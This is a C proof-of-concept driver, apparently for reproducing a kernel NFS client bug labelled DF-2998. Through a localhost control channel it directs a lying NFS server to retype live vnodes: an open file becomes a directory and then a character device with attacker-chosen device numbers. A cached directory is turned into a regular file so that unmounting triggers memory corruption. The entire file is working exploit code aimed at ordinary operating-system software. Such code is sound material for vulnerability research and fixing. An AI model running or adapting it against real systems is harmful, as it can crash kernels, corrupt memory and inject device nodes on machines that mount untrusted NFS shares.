/*
 * trigger2998.c - DF-2998 driver: observes and drives live-vnode
 *                 retypes produced by nfs_loadattrcache()
 *                 (sys/vfs/nfs/nfs_subs.c:718-731) from a lying
 *                 NFS server's attribute replies.
 *
 * Usage:
 *   trigger2998 retype <mnt> <maj> <min>
 *       1. create+open /mnt/f (honest VREG), write to it
 *       2. fstat: BEFORE (expect S_IFREG)
 *       3. tell server: LIE file DIR; sleep past attribute cache
 *       4. fstat: AFTER  (expect S_IFDIR  <-- LIVE RETYPE of an open fd)
 *       5. getdents() probe on the still-open file fd
 *       6. tell server: LIE file CHR <maj> <min>; sleep
 *       7. fstat: expect S_IFCHR with server rdev/mode (device injection)
 *       8. open() probe (expect ENXIO: devfs rdev association missing)
 *
 *   trigger2998 dirreg <mnt>
 *       1. mkdir /mnt/big; read the WHOLE big directory (client caches
 *          nfsdmap cookie blocks: nfs_getcookie(..., add=1))
 *       2. tell server: LIE big REG; sleep past attribute cache
 *       3. stat /mnt/big: expect S_IFREG  <-- VDIR->VREG retype while
 *          n_cookies is populated; n_sillyrename now ALIASES the
 *          cookie-list head (nfsnode.h n_un3 union)
 *       4. exit; run.sh then unmounts -> nfs_inactive() on the VREG-typed
 *          node takes the sillyrename branch and walks the nfsdmap as a
 *          struct sillyrename (nfs_removeit/crfree/vrele/kfree) -- the
 *          memory-corruption sink.
 *
 * Control channel: UDP 127.0.0.1:7798 (fakesrv2998 "LIE ..." commands).
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <dirent.h>

#define CTRL_PORT 7798

extern int getdents(int, char *, int);

static void
ctrl(const char *msg)
{
	struct sockaddr_in sin;
	int s = socket(AF_INET, SOCK_DGRAM, 0);

	if (s < 0) { perror("ctrl socket"); exit(1); }
	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = htonl(0x7f000001);
	sin.sin_port = htons(CTRL_PORT);
	if (sendto(s, msg, strlen(msg), 0,
	    (struct sockaddr *)&sin, sizeof(sin)) < 0) {
		perror("ctrl sendto");
		exit(1);
	}
	close(s);
	usleep(200000);		/* let the server log it */
}

static const char *
fmodespec(mode_t m)
{
	switch (m & S_IFMT) {
	case S_IFREG:  return "REGULAR";
	case S_IFDIR:  return "DIRECTORY";
	case S_IFCHR:  return "CHARDEV";
	case S_IFBLK:  return "BLKDEV";
	case S_IFIFO:  return "FIFO";
	case S_IFLNK:  return "SYMLINK";
	default:       return "OTHER";
	}
}

static void
prstat(const char *tag, struct stat *st)
{
	printf("%s: type=%s mode=%06o uid=%u gid=%u size=%lld rdev=%d,%d\n",
	    tag, fmodespec(st->st_mode), st->st_mode & 07777,
	    (unsigned)st->st_uid, (unsigned)st->st_gid,
	    (long long)st->st_size,
	    major(st->st_rdev), minor(st->st_rdev));
	fflush(stdout);
}

static int
do_retype(const char *mnt, const char *maj, const char *min)
{
	char path[512], msg[128];
	struct stat st;
	int fd, r, n, cnt;
	char buf[32768];

	snprintf(path, sizeof(path), "%s/f", mnt);
	fd = open(path, O_RDWR | O_CREAT, 0666);
	if (fd < 0) { perror("open f"); return (1); }
	if (write(fd, "HELLO-DF2998", 12) != 12)
		printf("(write returned short: %s)\n", strerror(errno));
	if (fstat(fd, &st) == 0)
		prstat("BEFORE", &st);
	if ((st.st_mode & S_IFMT) != S_IFREG) {
		printf("UNEXPECTED: file not VREG before the lie\n");
		return (1);
	}

	printf("[*] telling server: LIE file DIR ...\n");
	ctrl("LIE file DIR");
	sleep(4);

	if (fstat(fd, &st) == 0)
		prstat("AFTER-DIR-LIE", &st);
	else
		printf("AFTER-DIR-LIE: fstat FAILED: %s\n", strerror(errno));
	if (fstat(fd, &st) == 0 && (st.st_mode & S_IFMT) == S_IFDIR) {
		printf("*** DF-2998 CONFIRMED: live VREG vnode retyped "
		       "VDIR while fd open ***\n");
	} else {
		printf("(no retype observed)\n");
	}

	/* getdents probe on the still-open, now-"directory" fd */
	errno = 0;
	n = getdents(fd, buf, sizeof(buf));
	printf("getdents(open 'file' fd, now VDIR) = %d (%s)\n",
	    n, n < 0 ? strerror(errno) : "entries");
	if (n > 0) {
		struct dirent *de = (struct dirent *)buf;
		printf("   first entry: %.*s (namlen=%d)\n",
		    (int)de->d_namlen, de->d_name, (int)de->d_namlen);
	}

	printf("[*] telling server: LIE file CHR %s %s ...\n", maj, min);
	snprintf(msg, sizeof(msg), "LIE file CHR %s %s", maj, min);
	ctrl(msg);
	sleep(4);

	if (fstat(fd, &st) == 0)
		prstat("AFTER-CHR-LIE", &st);
	else
		printf("AFTER-CHR-LIE: fstat FAILED: %s\n", strerror(errno));
	if (fstat(fd, &st) == 0 && (st.st_mode & S_IFMT) == S_IFCHR) {
		printf("*** DF-2998 CONFIRMED: device node injected via "
		       "attributes (addaliasu + v_ops switch) ***\n");
	}
	r = open(path, O_RDONLY);
	printf("open(%s) after CHR lie = %d (%s)\n", path, r,
	    r < 0 ? strerror(errno) : "SUCCESS");
	if (r >= 0) {
		char rb[16];
		ssize_t rn;
		errno = 0;
		rn = read(r, rb, sizeof(rb));
		printf("read(injected dev fd) = %zd (%s)\n", rn,
		    rn < 0 ? strerror(errno) : "data!");
		close(r);
	}

	/*
	 * The getdents probe above cached nfsdmap cookie blocks on this
	 * node's n_cookies list.  Return the node to VDIR so that the
	 * run.sh unmount after TEST 1 walks/frees the cookie list the
	 * regular way (nfs_reclaim VDIR branch) and stays clean -- the
	 * deliberate crash is TEST 2's job.  This also demonstrates a
	 * THIRD retype (VCHR->VDIR) on the same live vnode.
	 */
	printf("[*] telling server: LIE file DIR again (3rd retype) ...\n");
	ctrl("LIE file DIR");
	sleep(4);
	if (fstat(fd, &st) == 0)
		prstat("AFTER-DIR-RELIE", &st);
	else
		printf("AFTER-DIR-RELIE: fstat FAILED: %s\n", strerror(errno));

	close(fd);
	return (0);
}

static int
do_dirreg(const char *mnt)
{
	char path[512];
	struct stat st;
	int fd, n, total = 0;
	char buf[32768];

	snprintf(path, sizeof(path), "%s/big", mnt);
	if (mkdir(path, 0777) < 0 && errno != EEXIST) {
		perror("mkdir big");
		return (1);
	}
	fd = open(path, O_RDONLY);
	if (fd < 0) { perror("open big"); return (1); }

	/* drain the whole directory: walks NFS_DIRBLKSIZ blocks,
	 * nfs_getcookie(add=1) allocates nfsdmap cookie blocks */
	for (;;) {
		n = getdents(fd, buf, sizeof(buf));
		if (n <= 0)
			break;
		total += n;
	}
	printf("big: drained %d bytes of dirents (>4096: %s)\n",
	    total, total > 4096 ? "cookies cached" : "NO?");
	close(fd);

	if (stat(path, &st) == 0)
		prstat("BEFORE", &st);
	if ((st.st_mode & S_IFMT) != S_IFDIR) {
		printf("UNEXPECTED: big not VDIR before the lie\n");
		return (1);
	}

	printf("[*] telling server: LIE big REG ...\n");
	ctrl("LIE big REG");
	sleep(4);

	if (stat(path, &st) == 0)
		prstat("AFTER-REG-LIE", &st);
	else
		printf("AFTER-REG-LIE: stat FAILED: %s\n", strerror(errno));
	if (stat(path, &st) == 0 && (st.st_mode & S_IFMT) == S_IFREG) {
		printf("*** DF-2998 CONFIRMED: cookie-cached VDIR retyped "
		       "VREG; n_sillyrename now aliases n_cookies head ***\n");
		printf("[*] exiting; run.sh will now umount -> "
		       "nfs_inactive walks the nfsdmap as sillyrename\n");
		return (0);
	}
	printf("(no retype observed)\n");
	return (1);
}

int
main(int argc, char **argv)
{
	if (argc < 3) {
		fprintf(stderr,
		    "usage: %s retype <mnt> <maj> <min> | dirreg <mnt>\n",
		    argv[0]);
		return (2);
	}
	if (!strcmp(argv[1], "ctrl")) {
		if (argc < 4) { fprintf(stderr, "ctrl <mnt-ignored> <msg>\n"); return (2); }
		ctrl(argv[3]);
		printf("sent: %s\n", argv[3]);
		return (0);
	}
	if (!strcmp(argv[1], "retype"))
		return (do_retype(argv[2],
		    argc > 3 ? argv[3] : "8",
		    argc > 4 ? argv[4] : "0x1e110007"));
	if (!strcmp(argv[1], "dirreg"))
		return (do_dirreg(argv[2]));
	fprintf(stderr, "unknown mode %s\n", argv[1]);
	return (2);
}
